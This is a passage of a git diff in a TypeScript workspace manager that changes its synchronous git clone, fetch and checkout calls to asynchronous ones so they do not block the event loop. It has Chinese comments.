GIT_MAX_BUFFER, }); renameSync(tmpPath, cachePath); @@ -174,7 +203,7 @@ function cloneBareAtomic(repoUrl: string, cachePath: string): void { * 如果上次 fetch 超过 fetchIntervalMin 分钟,用显式 refspec 更新 bare 缓存 * @returns true 表示 fetch 失败(缓存可能过期),false 表示成功或跳过 */ -function fetchIfStale(cachePath: string): boolean { +async function fetchIfStale(cachePath: string): Promise { const now = Date.now(); const lastFetch = lastFetchTime.get(cachePath) ?? 0; const intervalMs = config.repoCache.fetchIntervalMin * 60 * 1000; @@ -193,7 +222,8 @@ function fetchIfStale(cachePath: string): boolean { // 缓存分支因此永久冻结。显式 +refs/heads/*:refs/heads/* 不依赖仓库配置, // 既让新建 --bare 缓存能持续跟随远程前进,也能原地修复存量旧缓存。 // --prune 清理远端已删除的分支/标签,保持缓存与远程一致。 - execFileSync('git', [ + // 异步执行:远程 fetch 是网络操作,不能阻塞事件循环(见文件头注释)。 + await execFileAsync('git', [ '-C', cachePath, ...GIT_REMOTE_FETCH_TOP_ARGS, 'fetch', '--prune', @@ -203,7 +233,7 @@ function fetchIfStale(cachePath: string): boolean { '+refs/tags/*:refs/tags/*', ], { timeout: 120_000, - stdio: ['ignore', 'pipe', 'pipe'], + maxBuffer: GIT_MAX_BUFFER, }); lastFetchTime.set(cachePath, now); diff --git a/src/workspace/isolation.ts b/src/workspace/isolation.ts index 7a61d6b..9f302dd 100644 --- a/src/workspace/isolation.ts +++ b/src/workspace/isolation.ts @@ -138,10 +138,10 @@ export interface IsolatedWorkspaceResult { warning?: string; } -export function ensureIsolatedWorkspace( +export async function ensureIsolatedWorkspace( workingDir: string, mode: 'readonly' | 'writable' = 'writable', -): IsolatedWorkspaceResult { +): Promise { // 已在工作区目录下 → 已隔离 if (isAutoWorkspacePath(workingDir)) { return { workingDir }; @@ -151,7 +151,7 @@ export function ensureIsolatedWorkspace( try { if (existsSync(join(resolve(workingDir), '.git'))) { logger.info({ workingDir, mode }, 'Creating isolated workspace from existing repo'); - const result = setupWorkspace({ localPath: workingDir, mode }); + const result = await setupWorkspace({ localPath: workingDir, mode }); logger.info( { originalDir: workingDir, workspacePath: result.workspacePath, branch: result.branch }, 'Isolated workspace created', diff --git a/src/workspace/manager.ts b/src/workspace/manager.ts index 2681698..3d39ba2 100644 --- a/src/workspace/manager.ts +++ b/src/workspace/manager.ts @@ -1,12 +1,17 @@ -import { execFileSync } from 'node:child_process'; +import { execFile } from 'node:child_process'; import { existsSync, mkdirSync, writeFileSync, realpathSync } from 'node:fs'; import { randomBytes } from 'node:crypto'; import { basename, resolve } from 'node:path'; +import { promisify } from 'node:util'; import { config } from '../config.js'; import { logger } from '../utils/logger.js'; import { ensureBareCache, sanitizeRepoUrl } from './cache.js'; import { GIT_LOCAL_CLONE_ARGS } from './git-security.js'; +// git 子进程统一异步执行,避免在单进程 bridge 的事件循环上同步阻塞。 +const execFileAsync = promisify(execFile); +const GIT_MAX_BUFFER = 64 * 1024 * 1024; + // ============================================================ // 工作区管理器 // @@ -80,7 +85,7 @@ export function deriveRepoName(source: string): string { * 流程 (localPath 有值时): * 直接从本地路径 clone (不经过缓存层) */ -export function setupWorkspace(options: SetupWorkspaceOptions): SetupWorkspaceResult { +export async function setupWorkspace(options: SetupWorkspaceOptions): Promise { const { localPath, mode = 'writable', sourceBranch, featureBranch } = options; // 归一化 URL: github.com:user/repo → git@github.com:user/repo const repoUrl = options.repoUrl ? normalizeRepoUrl(options.repoUrl) : undefined; @@ -118,7 +123,7 @@ export function setupWorkspace(options: SetupWorkspaceOptions): SetupWorkspaceRe let cloneSource: string; let fetchFailed = false; if (repoUrl) { - const cacheResult = ensureBareCache(repoUrl); + const cacheResult = await ensureBareCache(repoUrl); cloneSource = cacheResult.cachePath; fetchFailed = !!cacheResult.fetchFailed; logger.info({ repoUrl: sanitizeRepoUrl(repoUrl), cachePath: cloneSource, fetchFailed }, 'Using bare cache as clone source'); @@ -152,9 +157,9 @@ export function setupWorkspace(options: SetupWorkspaceOptions): SetupWorkspaceRe logger.info({ mode, source: cloneSource, workspacePath }, 'Cloning to workspace'); try { - execFileSync('git', cloneArgs, { + await execFileAsync('git', cloneArgs, { timeout: 120_000, - stdio: ['ignore', 'pipe', 'pipe'], + maxBuffer: GIT_MAX_BUFFER, env: { ...process.env, GIT_LFS_SKIP_SMUDGE: '1' }, }); } catch (err) { @@ -172,10 +177,10 @@ export function setupWorkspace(options: SetupWorkspaceOptions): SetupWorkspaceRe // writable: 设置 remote origin 为原始远程地址 (剥离认证信息) if (repoUrl) { try { - execFileSync('git', ['remote', 'set-url', 'origin', sanitizeRepoUrl(repoUrl)], { + await execFileAsync('git', ['remote', 'set-url', 'origin', sanitizeRepoUrl(repoUrl)], { cwd: workspacePath, timeout: 10_000, - stdio: ['ignore', 'pipe', 'pipe'], + maxBuffer: GIT_MAX_BUFFER, }); } catch (err) { const msg = err instanceof Error ? err.message : String(err); @@ -188,10 +193,10 @@ export function setupWorkspace(options: SetupWorkspaceOptions): SetupWorkspaceRe logger.info({ branch: branchName, cwd: workspacePath }, 'Creating feature branch'); try { - execFileSync('git', ['checkout', '-b', branchName], { + await execFileAsync('git', ['checkout', '-b', branchName], { cwd: workspacePath, timeout: 10_000, - stdio: ['ignore', 'pipe', 'pipe'], + maxBuffer: GIT_MAX_BUFFER, }); } catch (err) { const msg = err instanceof Error ? err.message : String(err); diff --git a/src/workspace/registry.ts b/src/workspace/registry.ts index b2b5068..ebc1964 100644 --- a/src/workspace/registry.ts +++ b/src/workspace/registry.ts @@ -420,7 +420,7 @@ async function ensureMissingBareCaches(data: RegistryData): Promise { try { logger.info({ url }, 'Creating bare cache for local repo'); - ensureBareCache(url); + await ensureBareCache(url); // 更新 registry 条目的 cachePath const cachePath = repoUrlToCachePath(url); diff --git a/src/workspace/tool.ts b/src/workspace/tool.ts index d78b474..992193a 100644 --- a/src/workspace/tool.ts +++ b/src/workspace/tool.ts @@ -113,7 +113,7 @@ export function createWorkspaceMcpServer(onWorkspaceChanged?: SessionUpdater) { async (args) => { logger.info({ args: { repo_url: args.repo_url, local_path: args.local_path } }, 'setup_workspace tool invoked'); try { - const result = setupWorkspace({ + const result = await setupWorkspace({ repoUrl: args.repo_url, localPath: args.local_path, mode: 'writable',